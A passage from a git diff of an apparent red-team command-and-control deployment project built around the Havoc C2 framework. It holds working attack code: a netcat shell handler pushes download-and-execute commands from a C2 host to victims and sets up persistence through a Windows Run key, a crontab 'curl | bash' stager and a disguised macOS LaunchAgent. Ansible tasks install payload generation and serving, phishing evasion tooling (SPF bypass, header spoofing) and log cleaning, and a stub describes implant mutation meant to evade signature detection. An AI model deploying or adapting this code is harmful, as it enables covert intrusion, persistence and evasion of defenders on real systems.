server for payload delivery + mkdir -p /tmp/havoc_payloads + cp "$PAYLOAD_PATH" /tmp/havoc_payloads/update.exe + cd /tmp/havoc_payloads + python3 -m http.server 8888 & + HTTP_PID=$! + + # Use PowerShell to download and execute + echo "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; (New-Object System.Net.WebClient).DownloadFile('http://$C2_HOST:8888/update.exe', \$env:TEMP+'\\update.exe'); Start-Process \$env:TEMP+'\\update.exe'" > $connection + sleep 10 + + # Cleanup HTTP server + kill $HTTP_PID + ;; + linux) + # Setup Python HTTP server for payload delivery + mkdir -p /tmp/havoc_payloads + cp "$PAYLOAD_PATH" /tmp/havoc_payloads/update + chmod +x /tmp/havoc_payloads/update + cd /tmp/havoc_payloads + python3 -m http.server 8888 & + HTTP_PID=$! + + # Use curl to download and execute + echo "curl -s http://$C2_HOST:8888/update -o /tmp/update && chmod +x /tmp/update && /tmp/update &" > $connection + sleep 10 + + # Cleanup HTTP server + kill $HTTP_PID + ;; + macos) + # For macOS, we'll attempt to use the Linux payload + mkdir -p /tmp/havoc_payloads + cp "$PAYLOAD_PATH" /tmp/havoc_payloads/update + chmod +x /tmp/havoc_payloads/update + cd /tmp/havoc_payloads + python3 -m http.server 8888 & + HTTP_PID=$! + + # Use curl to download and execute + echo "curl -s http://$C2_HOST:8888/update -o /tmp/update && chmod +x /tmp/update && /tmp/update &" > $connection + sleep 10 + + # Cleanup HTTP server + kill $HTTP_PID + ;; + esac + + log "Havoc agent deployment command sent" +} + +# Establish persistence based on OS +establish_persistence() { + local connection=$1 + local os_type=$2 + + log "Attempting to establish persistence on $os_type" + + case $os_type in + windows) + # Windows persistence via registry run key + echo "REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v Update /t REG_SZ /d %TEMP%\\update.exe /f" > $connection + ;; + linux) + # Linux persistence via crontab + echo "(crontab -l 2>/dev/null; echo '*/15 * * * * curl -s http://$C2_HOST:8443/linux_stager.sh | bash') | crontab -" > $connection + ;; + macos) + # macOS persistence via launch agent + echo "mkdir -p ~/Library/LaunchAgents" > $connection + echo "echo 'Labelcom.apple.software.updateProgramArgumentsbash-ccurl -s http://$C2_HOST:8443/linux_stager.sh | bashRunAtLoadStartInterval900' > ~/Library/LaunchAgents/com.apple.software.update.plist" > $connection + echo "launchctl load ~/Library/LaunchAgents/com.apple.software.update.plist" > $connection + ;; + esac + + log "Persistence commands sent for $os_type" +} + +# Main shell handler loop +handle_connections() { + log "Shell handler started on port $LISTEN_PORT" + + # Use mkfifo for bidirectional communication + PIPE_PATH="/tmp/shell_handler_pipe" + trap 'rm -f $PIPE_PATH' EXIT + + while true; do + # Clean up existing pipe + rm -f $PIPE_PATH + mkfifo $PIPE_PATH + + log "Waiting for incoming connection..." + nc -lvnp $LISTEN_PORT < $PIPE_PATH | tee $PIPE_PATH.output & + NC_PID=$! + + # Wait for connection to be established + while ! grep -q . $PIPE_PATH.output 2>/dev/null; do + sleep 1 + # Check if nc is still running + if ! kill -0 $NC_PID 2>/dev/null; then + log "Netcat process died, restarting..." + rm -f $PIPE_PATH $PIPE_PATH.output + continue 2 # Restart the outer loop + fi + done + + log "Connection received, detecting OS..." + DETECTED_OS=$(detect_os "$PIPE_PATH.output") + log "Detected OS: $DETECTED_OS" + + # Deploy Havoc agent + deploy_agent "$PIPE_PATH" "$DETECTED_OS" + sleep 5 + + # Establish persistence + establish_persistence "$PIPE_PATH" "$DETECTED_OS" + sleep 5 + + # Keep connection alive for manual operation if needed + log "Havoc agent deployed, maintaining shell connection..." + echo "echo 'Shell upgraded to Havoc agent. This connection will remain active for manual operation.'" > $PIPE_PATH + + # Wait for connection to close + wait $NC_PID + log "Connection closed, cleaning up and restarting listener..." + rm -f $PIPE_PATH.output + done +} + +# Start the shell handler +handle_connections \ No newline at end of file diff --git a/modules/c2/files/implant_mutator.sh b/modules/c2/files/implant_mutator.sh new file mode 100644 index 0000000..e2123d4 --- /dev/null +++ b/modules/c2/files/implant_mutator.sh @@ -0,0 +1,10 @@ +#!/bin/bash +# OMITTED โ€” implant mutation script +# +# Randomizes Havoc Demon source identifiers (User-Agent, URI paths, named pipe +# names, mutex strings) before each compile to defeat signature-based detection. +# Patches TransportHttp.c, Config.c, and the build Makefile in-place, compiles +# a fresh shellcode blob, and backs up the previous payload with a timestamp. +# +# Omitted from public release. Present in operational deployments. +echo "[!] Implant mutator not included in public release." diff --git a/modules/c2/files/post_install_c2.sh b/modules/c2/files/post_install_c2.sh new file mode 100644 index 0000000..1a35e37 --- /dev/null +++ b/modules/c2/files/post_install_c2.sh @@ -0,0 +1,302 @@ +#!/bin/bash +# post_install_c2.sh - Post-installation setup for C2 server + +# ANSI color codes +GREEN='\033[0;32m' +YELLOW='\033[1;33m' +RED='\033[0;31m' +BLUE='\033[0;34m' +NC='\033[0m' # No Color + +# Default settings +DEBUG=false +RUN_ON_REDIRECTOR=false + +# Show usage information +function show_usage() { + echo "Usage: $0 [options]" + echo "" + echo "Options:" + echo " -d, --debug Enable debug/verbose output" + echo " -r, --run-on-redirector Run post-install script on redirector" + echo " -h, --help Show this help message" + echo "" +} + +# Process command line arguments +while [[ $# -gt 0 ]]; do + case $1 in + -d|--debug) + DEBUG=true + shift + ;; + -r|--run-on-redirector) + RUN_ON_REDIRECTOR=true + shift + ;; + -h|--help) + show_usage + exit 0 + ;; + *) + echo "Unknown option: $1" + show_usage + exit 1 + ;; + esac +done + +# Debug function - only prints if DEBUG is true +function debug() { + if [ "$DEBUG" = true ]; then + echo -e "${BLUE}[DEBUG] $1${NC}" + fi +} + +echo -e "${BLUE}==================================================${NC}" +echo -e "${BLUE} C2ingRed Post-Installation Setup - C2 Server ${NC}" +echo -e "${BLUE}==================================================${NC}" + +# Function to check if domain resolves to current IP +check_dns() { + domain=$1 + current_ip=$(curl -s ifconfig.me) + resolved_ip=$(dig +short $domain) + + debug "Checking DNS for $domain" + debug "Current IP: $current_ip" + debug "Resolved IP: $resolved_ip" + + if [ "$resolved_ip" = "$current_ip" ]; then + echo -e "${GREEN}DNS check passed for $domain!${NC}" + return 0 + else + echo -e "${YELLOW}DNS check failed for $domain${NC}" + echo -e "Current IP: $current_ip" + echo -e "Resolved IP: $resolved_ip or not set" + return 1 + fi +} + +# Function to set up Let's Encrypt +setup_letsencrypt() { + domain=$1 + email=$2 + + echo -e "\n${BLUE}Setting up Let's Encrypt for $domain${NC}" + debug "Domain: $domain, Email: $email" + + # Stop Havoc service temporarily to free port 80 + systemctl stop havoc 2>/dev/null + debug "Stopped Havoc service" + + # Get certificate + debug "Running certbot to obtain certificate" + if [ "$DEBUG" = true ]; then + certbot certonly --standalone -d $domain -m $email --agree-tos --non-interactive + else + certbot certonly --standalone -d $domain -m $email --agree-tos --non-interactive >/dev/null 2>&1 + fi + + cert_result=$? + debug "Certbot result code: $cert_result" + + if [ $cert_result -eq 0 ]; then + echo -e "${GREEN}Successfully obtained certificate for $domain${NC}" + + # Configure applications to use the certificate if needed + if [ -f "/etc/postfix/main.cf" ]; then + debug "Updating Postfix configuration with new certificate" + sed -i "s|^smtpd_tls_cert_file =.*|smtpd_tls_cert_file = /etc/letsencrypt/live/$domain/fullchain.pem|" /etc/postfix/main.cf + sed -i "s|^smtpd_tls_key_file =.*|smtpd_tls_key_file = /etc/letsencrypt/live/$domain/privkey.pem|" /etc/postfix/main.cf + fi + + # Restart Havoc + debug "Restarting Havoc service" + systemctl start havoc + + return 0 + else + echo -e "${RED}Failed to obtain certificate for $domain${NC}" + + # Restart Havoc + debug "Restarting Havoc service" + systemctl start havoc + + return 1 + fi +} + +# Function to display DKIM/DMARC records +show_dns_records() { + domain=$1 + + debug "Showing DNS records for $domain" + + if [ -f "/etc/opendkim/keys/$domain/mail.txt" ]; then + echo -e "\n${BLUE}DKIM DNS Record Information for $domain${NC}" + echo -e "${YELLOW}Add the following TXT record to your DNS:${NC}" + echo -e "${GREEN}=================================================${NC}" + echo -e "Name: mail._domainkey.$domain" + echo -e "Value:" + cat /etc/opendkim/keys/$domain/mail.txt | grep -v "^;" | tr -d '\n' + echo -e "\n${GREEN}=================================================${NC}" + fi + + echo -e "\n${BLUE}DMARC Record Recommendation for $domain${NC}" + echo -e "${YELLOW}Add the following TXT record to your DNS:${NC}" + echo -e "${GREEN}=================================================${NC}" + echo -e "Name: _dmarc.$domain" + echo -e "Value: v=DMARC1; p=reject; rua=mailto:admin@$domain; ruf=mailto:admin@$domain; pct=100" + echo -e "${GREEN}=================================================${NC}" +} + +# Function to test redirector connection +test_redirector() { + # Check if SSH to redirector is configured + debug "Testing redirector connection" + + if [ -f "/root/.ssh/config" ] && grep -q "Host redirector" /root/.ssh/config; then + echo -e "\n${BLUE}Testing SSH connection to redirector...${NC}" + if [ "$DEBUG" = true ]; then + ssh -o ConnectTimeout=5 redirector "echo 'Connection successful'" + else + ssh -o ConnectTimeout=5 redirector "echo 'Connection successful'" >/dev/null 2>&1 + fi + + ssh_result=$? + debug "SSH connection result: $ssh_result" + + if [ $ssh_result -eq 0 ]; then + echo -e "${GREEN}SSH connection to redirector successful!${NC}" + echo -e "You can access the redirector with: ${YELLOW}ssh redirector${NC}" + return 0 + else + echo -e "${RED}Could not connect to redirector.${NC}" + echo -e "${YELLOW}Please verify SSH configuration and firewall rules.${NC}" + return 1 + fi + else + echo -e "\n${YELLOW}Redirector SSH configuration not found.${NC}" + echo -e "If you need to access the redirector, please check deployment logs." + return 1 + fi +} + +# Function to synchronize payloads with redirector +sync_payloads() { + # Check if sync script exists + debug "Attempting to synchronize payloads with redirector" + + if [ -f "/root/Tools/secure_payload_sync.sh" ]; then + echo -e "\n${BLUE}Synchronizing payloads with redirector...${NC}" + if [ "$DEBUG" = true ]; then + /root/Tools/secure_payload_sync.sh + else + /root/Tools/secure_payload_sync.sh >/dev/null 2>&1 + fi + + sync_result=$? + debug "Payload sync result: $sync_result" + + if [ $sync_result -eq 0 ]; then + echo -e "${GREEN}Payload synchronization successful${NC}" + return 0 + else + echo -e "${RED}Payload synchronization failed${NC}" + echo -e "${YELLOW}Check /root/Tools/logs/payload_sync.log for details${NC}" + return 1 + fi + else + echo -e "\n${YELLOW}Payload sync script not found${NC}" + return 1 + fi +} + +# Function to run redirector post-install script +run_redirector_setup() { + echo -e "\n${BLUE}Running post-installation setup on redirector...${NC}" + debug "Checking if we can connect to redirector" + + # First, test the connection + if [ -f "/root/.ssh/config" ] && grep -q "Host redirector" /root/.ssh/config; then + # Check if post_install_redirector.sh exists on the redirector + debug "Checking for post_install_redirector.sh on redirector" + ssh -o ConnectTimeout=5 redirector "test -f /root/Tools/post_install_redirector.sh" >/dev/null 2>&1 + + check_result=$? + debug "Script check result: $check_result" + + if [ $check_result -eq 0 ]; then + echo -e "${BLUE}Running post-install script on redirector...${NC}" + # Pass the debug flag if it's enabled here + if [ "$DEBUG" = true ]; then + ssh -o ConnectTimeout=10 redirector "/root/Tools/post_install_redirector.sh --debug" + else + ssh -o ConnectTimeout=10 redirector "/root/Tools/post_install_redirector.sh" + fi + + redir_setup_result=$? + debug "Redirector setup result: $redir_setup_result" + + if [ $redir_setup_result -eq 0 ]; then + echo -e "${GREEN}Redirector post-installation completed successfully${NC}" + return 0 + else + echo -e "${RED}Redirector post-installation failed${NC}" + return 1 + fi + else + echo -e "${RED}post_install_redirector.sh not found on redirector${NC}" + return 1 + fi + else + echo -e "${RED}SSH configuration for redirector not found${NC}" + echo -e "${YELLOW}Cannot run post-installation on redirector${NC}" + return 1 + fi +} + +# Main execution +debug "Starting post-installation process with debug mode: $DEBUG" +debug "Run on redirector flag: $RUN_ON_REDIRECTOR" + +echo -e "\n${BLUE}Running post-installation checks...${NC}" + +# Get domain information +read -p "Enter primary domain: " domain +read -p "Enter email for Let's Encrypt: " email + +# Check DNS configuration +echo -e "\n${BLUE}Checking DNS configuration...${NC}" +check_dns $domain + +# Ask if user wants to set up Let's Encrypt certificates +read -p "Set up Let's Encrypt SSL certificate? (y/n): " setup_ssl +if [ "$setup_ssl" = "y" ]; then + setup_letsencrypt $domain $email +fi + +# Show DNS records to configure +show_dns_records $domain + +# Test redirector connection +test_redirector + +# Ask if user wants to sync payloads +read -p "Synchronize payloads with redirector? (y/n): " sync_payload +if [ "$sync_payload" = "y" ]; then + sync_payloads +fi + +# Ask if user wants to run post-install on redirector +if [ "$RUN_ON_REDIRECTOR" = true ] || test_redirector; then + read -p "Run post-installation setup on redirector? (y/n): " run_on_redir + if [ "$run_on_redir" = "y" ]; then + run_redirector_setup + fi +fi + +echo -e "\n${GREEN}Post-installation checks complete!${NC}" +echo -e "${YELLOW}Ensure your DNS records are properly configured.${NC}" +echo -e "${YELLOW}See your deployment log for complete infrastructure details.${NC}" \ No newline at end of file diff --git a/modules/c2/files/secure_payload_sync.sh b/modules/c2/files/secure_payload_sync.sh new file mode 100644 index 0000000..1d1f3e3 --- /dev/null +++ b/modules/c2/files/secure_payload_sync.sh @@ -0,0 +1,150 @@ +#!/bin/bash +# secure_payload_sync.sh - OPSEC-focused payload distribution + +# Configuration +C2_PAYLOAD_DIR="/root/Tools/Havoc/payloads" +REDIRECTOR_IP="{{ redirector_ip }}" +REDIRECTOR_USER="root" +SSH_KEY_PATH="/root/.ssh/id_ed25519" +REMOTE_PAYLOAD_DIR="/var/www/resources" +ENCRYPTED_TRANSFER=true +LOG_FILE="/root/Tools/logs/payload_sync.log" +LOG_RETENTION_DAYS=3 +MAX_RANDOM_DELAY=300 # Max random delay in seconds + +# Create minimal timestamped log with auto-rotation +log() { + mkdir -p $(dirname $LOG_FILE) + echo "$(date "+%Y-%m-%d %H:%M:%S") - $1" >> $LOG_FILE + find $(dirname $LOG_FILE) -name "*.log" -mtime +$LOG_RETENTION_DAYS -delete 2>/dev/null +} + +# Add random delay for OPSEC +sleep_random() { + DELAY=$((RANDOM % $MAX_RANDOM_DELAY)) + log "Adding random delay of $DELAY seconds" + sleep $DELAY +} + +# Generate payload manifest and check for changes +check_for_changes() { + if [ ! -d "$C2_PAYLOAD_DIR" ]; then + log "ERROR: Payload directory not found" + return 1 + fi + + TMP_DIR=$(mktemp -d) + MANIFEST_FILE="$TMP_DIR/manifest" + find $C2_PAYLOAD_DIR -type f -exec sha256sum {} \; | sort > $MANIFEST_FILE + + CURRENT_HASH=$(sha256sum $MANIFEST_FILE | awk '{print $1}') + HASH_FILE="/root/Tools/.payload_hash" + + if [ -f "$HASH_FILE" ] && [ "$(cat $HASH_FILE)" == "$CURRENT_HASH" ]; then + log "No payload changes detected" + secure_delete $TMP_DIR + return 1 + fi + + echo $CURRENT_HASH > $HASH_FILE + return 0 +} + +# Secure deletion of files/directories +secure_delete() { + if [ -d "$1" ]; then + find "$1" -type f -exec shred -n 3 -z -u {} \; 2>/dev/null + rm -rf "$1" 2>/dev/null + elif [ -f "$1" ]; then + shred -n 3 -z -u "$1" 2>/dev/null + fi +} + +# Encrypt archive with random password +encrypt_archive() { + SRC="$1" + DEST="$2" + + # Generate random password + PASSWORD=$(head /dev/urandom | tr -dc 'a-zA-Z0-9' | head -c 32) + PASS_FILE=$(mktemp) + echo $PASSWORD > $PASS_FILE + + # Encrypt the archive + openssl enc -aes-256-cbc -salt -in "$SRC" -out "$DEST" -pass file:$PASS_FILE + + # Store password temporarily for transfer + echo $PASSWORD + + # Securely delete password file + secure_delete $PASS_FILE +} + +# Main execution +main() { + log "Starting secure payload sync" + + # Add randomized timing + sleep_random + + # Check for payload changes + check_for_changes || exit 0 + + # Generate random archive name for OPSEC + RANDOM_ID=$(head /dev/urandom | tr -dc 'a-z0-9' | head -c 12) + ARCHIVE_NAME="updates_${RANDOM_ID}.tar.gz" + ENCRYPTED_NAME="${ARCHIVE_NAME}.enc" + TEMP_DIR=$(mktemp -d) + + # Create payload archive + log "Creating payload archive" + tar czf "$TEMP_DIR/$ARCHIVE_NAME" -C $(dirname $C2_PAYLOAD_DIR) $(basename $C2_PAYLOAD_DIR) + + # Encrypt archive if enabled + PASSWORD="" + if [ "$ENCRYPTED_TRANSFER" = true ]; then + log "Encrypting payload archive" + PASSWORD=$(encrypt_archive "$TEMP_DIR/$ARCHIVE_NAME" "$TEMP_DIR/$ENCRYPTED_NAME") + TRANSFER_FILE="$TEMP_DIR/$ENCRYPTED_NAME" + else + TRANSFER_FILE="$TEMP_DIR/$ARCHIVE_NAME" + fi + + # Transfer archive to redirector + log "Transferring payloads to redirector" + scp -i $SSH_KEY_PATH -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -q "$TRANSFER_FILE" "$REDIRECTOR_USER@$REDIRECTOR_IP:/tmp/$ENCRYPTED_NAME" + + # Handle remote extraction with decryption if needed + if [ "$ENCRYPTED_TRANSFER" = true ]; then + REMOTE_CMD=" + mkdir -p $REMOTE_PAYLOAD_DIR + TEMP_DIR=\$(mktemp -d) + openssl enc -aes-256-cbc -d -in /tmp/$ENCRYPTED_NAME -out \$TEMP_DIR/$ARCHIVE_NAME -pass pass:\"$PASSWORD\" + tar xzf \$TEMP_DIR/$ARCHIVE_NAME -C /var/www/ + # Clean up + shred -n 3 -z -u /tmp/$ENCRYPTED_NAME \$TEMP_DIR/$ARCHIVE_NAME 2>/dev/null + rm -rf \$TEMP_DIR + # Update web server if needed + systemctl reload nginx 2>/dev/null + " + else + REMOTE_CMD=" + mkdir -p $REMOTE_PAYLOAD_DIR + tar xzf /tmp/$ENCRYPTED_NAME -C /var/www/ + shred -n 3 -z -u /tmp/$ENCRYPTED_NAME 2>/dev/null + systemctl reload nginx 2>/dev/null + " + fi + + # Execute command on redirector + ssh -i $SSH_KEY_PATH -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null "$REDIRECTOR_USER@$REDIRECTOR_IP" "$REMOTE_CMD" + + # Clean up local temp files + log "Cleaning up temporary files" + secure_delete $TEMP_DIR + + log "Payload sync completed successfully" +} + +# Run main function +main \ No newline at end of file diff --git a/modules/c2/tasks/configure_advanced_evasion.yml b/modules/c2/tasks/configure_advanced_evasion.yml new file mode 100644 index 0000000..0b0c19c --- /dev/null +++ b/modules/c2/tasks/configure_advanced_evasion.yml @@ -0,0 +1,134 @@ +--- +# Advanced evasion techniques for red team phishing + +- name: Install advanced evasion tools + apt: + name: + - python3-dnspython + - python3-requests + - python3-selenium + - chromium-browser + - chromium-chromedriver + - tor + - proxychains4 + state: present + +- name: Create SMTP smuggling configuration + template: + src: "../templates/smtp-smuggling.py.j2" + dest: "/root/Tools/phishing/smtp-smuggling.py" + mode: '0755' + owner: root + group: root + when: enable_smtp_smuggling | default(false) | bool + +- name: Configure SPF bypass techniques + template: + src: "../templates/spf-bypass.sh.j2" + dest: "/root/Tools/phishing/spf-bypass.sh" + mode: '0755' + owner: root + group: root + when: enable_spf_bypass | default(false) | bool + +- name: Create domain aging simulation + template: + src: "../templates/domain-aging.py.j2" + dest: "/root/Tools/phishing/domain-aging.py" + mode: '0755' + owner: root + group: root + when: aged_domain_mode | default(false) | bool + +- name: Set up MTA fronting configuration + template: + src: "../templates/mta-fronting.conf.j2" + dest: "/etc/postfix/mta_fronting.cf" + mode: '0644' + owner: root + group: root + when: enable_mta_fronting | default(false) | bool + notify: restart postfix + +- name: Create file format manipulation tools + copy: + src: "{{ item.src }}" + dest: "{{ item.dest }}" + mode: '0755' + owner: root + group: root + with_items: + # Note: These files need to be created or paths need to be verified + # - { src: "../files/pdf-weaponizer.py", dest: "/root/Tools/phishing/pdf-weaponizer.py" } + # - { src: "../files/office-macro-generator.py", dest: "/root/Tools/phishing/office-macro-generator.py" } + # - { src: "../files/lnk-generator.py", dest: "/root/Tools/phishing/lnk-generator.py" } + [] + +- name: Create Living off the Land (LOtL) payload templates + template: + src: "{{ item.src }}" + dest: "{{ item.dest }}" + mode: '0644' + owner: root + group: root + with_items: + - { src: "../templates/lotl-powershell.ps1.j2", dest: "/root/Tools/phishing/templates/lotl-powershell.ps1" } + - { src: "../templates/lotl-wmic.cmd.j2", dest: "/root/Tools/phishing/templates/lotl-wmic.cmd" } + - { src: "../templates/lotl-bitsadmin.cmd.j2", dest: "/root/Tools/phishing/templates/lotl-bitsadmin.cmd" } + +- name: Set up CDN abuse configuration + template: + src: "../templates/cdn-abuse.py.j2" + dest: "/root/Tools/phishing/cdn-abuse.py" + mode: '0755' + owner: root + group: root + when: enable_cdn_abuse | default(false) | bool + +- name: Create domain reputation monitoring + template: + src: "../templates/reputation-monitor.py.j2" + dest: "/root/Tools/phishing/reputation-monitor.py" + mode: '0755' + owner: root + group: root + +- name: Set up cron job for reputation monitoring + cron: + name: "Domain reputation monitoring" + minute: "0" + hour: "*/4" + job: "/root/Tools/phishing/reputation-monitor.py >> /root/Tools/phishing/logs/reputation.log 2>&1" + +- name: Create email header spoofing tools + template: + src: "../templates/header-spoofing.py.j2" + dest: "/root/Tools/phishing/header-spoofing.py" + mode: '0755' + owner: root + group: root + +- name: Configure Tor for anonymization + template: + src: "../templates/torrc-phishing.j2" + dest: "/etc/tor/torrc" + backup: yes + notify: restart tor + when: enable_tor_routing | default(false) | bool + +- name: Create user-agent rotation script + template: + src: "../templates/user-agent-rotation.py.j2" + dest: "/root/Tools/phishing/user-agent-rotation.py" + mode: '0755' + owner: root + group: root + +- name: Set up automated evasion techniques + template: + src: "../templates/automated-evasion.py.j2" + dest: "/root/Tools/phishing/automated-evasion.py" + mode: '0755' + owner: root + group: root + when: enable_automated_evasion | default(false) | bool \ No newline at end of file diff --git a/modules/c2/tasks/configure_c2.yml b/modules/c2/tasks/configure_c2.yml new file mode 100644 index 0000000..3cba988 --- /dev/null +++ b/modules/c2/tasks/configure_c2.yml @@ -0,0 +1,344 @@ +--- +# Common tasks for configuring C2 server with Havoc C2 and EDR evasion +# Shared across all providers + +- name: Update apt cache + apt: + update_cache: yes + +- name: Disable default Kali MOTD + file: + path: "{{ ansible_env.HOME }}/.hushlogin" + state: touch + mode: '0644' + when: ansible_distribution == "Kali GNU/Linux" + +- name: Set a custom MOTD + template: + src: "../../common/templates/motd.j2" + dest: /etc/motd + owner: root + group: root + mode: '0644' + +- name: Install base utilities and tools via apt + apt: + name: + - git + - wget + - curl + - unzip + - python3-pip + - python3-venv + - tmux + - pipx + - nmap + - tcpdump + - hydra + - john + - hashcat + - sqlmap + - gobuster + - dirb + - enum4linux + - dnsenum + - seclists + - responder + - golang + - proxychains + - tor + - crackmapexec + - jq + - build-essential + - zip + - unzip + - postfix + - net-tools + - certbot + - opendkim + - opendkim-tools + - dovecot-core + - dovecot-imapd + - dovecot-pop3d + - dovecot-sieve + - dovecot-managesieved + - yq + - build-essential + # Additional Havoc C2 dependencies + - mingw-w64 + - nasm + - cmake + - ninja-build + - libfontconfig1 + - libglu1-mesa-dev + - libgtest-dev + - libspdlog-dev + - libboost-all-dev + - libncurses5-dev + - libgdbm-dev + - libssl-dev + - libreadline-dev + - libffi-dev + - libsqlite3-dev + - libbz2-dev + - mesa-common-dev + - qtbase5-dev + - qtchooser + - qt5-qmake + - qtbase5-dev-tools + - libqt5websockets5 + - libqt5websockets5-dev + state: present + +- name: Create directories for operational scripts + file: + path: "{{ item }}" + state: directory + mode: '0700' + owner: root + group: root + with_items: + - /root/Tools + - /root/Tools/beacons + - /root/Tools/payloads + +- name: Copy operational scripts + copy: + src: "{{ item }}" + dest: "/root/Tools/{{ item | basename }}" + mode: '0700' + owner: root + group: root + with_items: + - "../../../common/files/clean-logs.sh" + - "../../../common/files/secure-exit.sh" + - "../files/havoc_installer.sh" + - "../files/havoc_shell_handler.sh" + - "../files/secure_payload_sync.sh" + +- name: Copy post-install script + copy: + src: "../../../common/files/post_install_c2.sh" + dest: "/root/Tools/post_install_c2.sh" + mode: '0700' + owner: root + group: root + +- name: Copy port randomization script + copy: + src: "../../../common/files/randomize_ports.sh" + dest: "/root/Tools/randomize_ports.sh" + mode: '0700' + owner: root + group: root + +- name: Create post-install instructions + template: + src: "../../common/templates/POST_INSTALL_INSTRUCTIONS.txt.j2" + dest: "/root/POST_INSTALL_INSTRUCTIONS.txt" + mode: '0644' + owner: root + group: root + +- name: Set up systemd timer for payload sync + shell: | + cat > /etc/systemd/system/payload-sync.service << 'EOF' + [Unit] + Description=Secure Payload Sync Service + After=network-online.target + + [Service] + Type=oneshot + ExecStart=/root/Tools/secure_payload_sync.sh + User=root + Group=root + PrivateTmp=true + StandardOutput=null + + [Install] + WantedBy=multi-user.target + EOF + + cat > /etc/systemd/system/payload-sync.timer << 'EOF' + [Unit] + Description=Secure Payload Sync Timer + Requires=payload-sync.service + + [Timer] + OnBootSec=5min + OnUnitActiveSec=30m + RandomizedDelaySec=30m + Persistent=true + + [Install] + WantedBy=timers.target + EOF + + systemctl daemon-reload + systemctl enable payload-sync.timer + systemctl start payload-sync.timer + +- name: Install Havoc C2 Framework + shell: "/root/Tools/havoc_installer.sh" + args: + creates: "/root/Tools/Havoc" + async: 1800 # Allow 30 minutes for completion + poll: 0 # Don't wait for completion + register: havoc_installation_job + +- name: Wait for Havoc installation to complete + async_status: + jid: "{{ havoc_installation_job.ansible_job_id }}" + register: job_result + until: job_result.finished + retries: 60 # Check every 30 seconds for up to 30 minutes + delay: 30 + when: havoc_installation_job is defined + +- name: Display Havoc installation output + debug: + var: havoc_installation_result.stdout_lines + when: havoc_installation_result.stdout_lines is defined + +- name: Create Havoc payload generation script + template: + src: "../templates/generate_havoc_payloads.sh.j2" + dest: "/root/Tools/generate_havoc_payloads.sh" + mode: '0700' + owner: root + group: root + +- name: Create Havoc C2 configuration from template + template: + src: "../templates/havoc-config.yaotl.j2" + dest: "/root/Tools/Havoc/data/havoc.yaotl" + mode: '0600' + owner: root + group: root + +- name: Create Linux loader script template + template: + src: "../../common/templates/linux_loader.sh.j2" + dest: "/root/Tools/linux_loader.template" + mode: '0644' + owner: root + group: root + +- name: Create Windows PowerShell loader template + template: + src: "../../common/templates/windows_loader.ps1.j2" + dest: "/root/Tools/windows_loader.template" + mode: '0644' + owner: root + group: root + +- name: Create beacon server script from template + template: + src: "../templates/serve-havoc-payloads.sh.j2" + dest: "/root/Tools/serve-havoc-payloads.sh" + mode: '0700' + owner: root + group: root + vars: + redirector_subdomain: "{{ redirector_subdomain | default('cdn') }}" + domain: "{{ domain }}" + redirector_port: "{{ redirector_port | default('443') }}" + +- name: Run port randomization if enabled + include_tasks: port_randomization.yml + when: randomize_ports | default(false) | bool + +- name: Generate Havoc payloads + shell: "/root/Tools/generate_havoc_payloads.sh" + args: + creates: "/root/Tools/Havoc/payloads/manifest.json" + register: payload_generation_result + environment: + PATH: "{{ ansible_env.PATH }}:/usr/local/bin" + ignore_errors: yes + +- name: Display payload generation output + debug: + var: payload_generation_result.stdout_lines + when: payload_generation_result.stdout_lines is defined + +- name: Start payload server + shell: | + nohup /root/Tools/serve-havoc-payloads.sh > /dev/null 2>&1 & + args: + executable: /bin/bash + register: beacon_server_result + +- name: Create NGINX configuration fragment for redirector + template: + src: "../../redirectors/templates/redirector-havoc-fragment.j2" + dest: "/root/Tools/redirector-config.conf" + mode: '0644' + owner: root + group: root + vars: + c2_ip: "{{ ansible_host }}" + redirector_domain: "{{ redirector_subdomain }}.{{ domain }}" + +- name: Create Havoc usage guide + template: + src: "../templates/havoc-guide.j2" + dest: "/root/havoc-guide.txt" + mode: '0600' + owner: root + group: root + vars: + c2_ip: "{{ ansible_host }}" + redirector_domain: "{{ redirector_subdomain }}.{{ domain }}" + +- name: Include traffic flow configuration + include_tasks: "../../common/tasks/traffic_flow_config.yml" + +- name: Set up cron job for log cleaning if zero-logs enabled + cron: + name: "Clean logs" + minute: "0" + hour: "*/6" + job: "/root/Tools/clean-logs.sh > /dev/null 2>&1" + when: zero_logs is defined and zero_logs | bool + +- name: Ensure SSH key for redirector access is available + block: + - name: Copy deployment SSH key to C2 for redirector access (AWS) + copy: + src: "~/.ssh/c2deploy_{{ deployment_id }}.pem" + dest: "/root/.ssh/redirector_key" + mode: '0600' + owner: root + group: root + when: provider == "aws" + + - name: Copy deployment SSH key to C2 for redirector access (non-AWS) + copy: + src: "{{ ssh_key_path | replace('.pub', '') }}" + dest: "/root/.ssh/redirector_key" + mode: '0600' + owner: root + group: root + when: provider != "aws" + + - name: Create SSH config for redirector access + blockinfile: + path: /root/.ssh/config + create: yes + mode: '0600' + owner: root + group: root + marker: "# {mark} ANSIBLE MANAGED REDIRECTOR CONFIG" + block: | + Host redirector + HostName {{ redirector_ip }} + User {{ ssh_user | default('root') }} + IdentityFile /root/.ssh/redirector_key + StrictHostKeyChecking no + when: not redirector_only | bool and redirector_ip is defined + +# Include integrated tracker tasks if requested +- name: Include integrated tracker setup + include_tasks: "configure_integrated_tracker.yml" + when: setup_integrated_tracker | default(false) | bool \ No newline at end of file diff --git a/modules/c2/tasks/configure_integrated_tracker.yml b/modules/c2/tasks/configure_integrated_tracker.yml new file mode 100644 index 0000000..03f90d0 --- /dev/null +++ b/modules/c2/tasks/configure_integrated_tracker.yml @@ -0,0 +1,150 @@ +--- +# Common task for configuring integrated email tracker on C2 server + +- name: Check if integrated tracker setup is requested + debug: + msg: "Setting up integrated email tracker on C2 server" + when: setup_integrated_tracker | default(false) | bool + +- name: Install required packages for tracker + apt: + name: + - python3-pip + - python3-venv + - python3-pillow + - nginx + - certbot + - python3-certbot-nginx + - jq + state: present + update_cache: yes + when: setup_integrated_tracker | default(false) | bool + +- name: Create tracker directory + file: + path: /root/Tools/tracker + state: directory + mode: '0755' + owner: root + group: root + when: setup_integrated_tracker | default(false) | bool + +- name: Create tracker data directory + file: + path: /root/Tools/tracker/data + state: directory + mode: '0755' + owner: root + group: root + when: setup_integrated_tracker | default(false) | bool + +- name: Create tracker system user + user: + name: tracker + system: yes + shell: /usr/sbin/nologin + 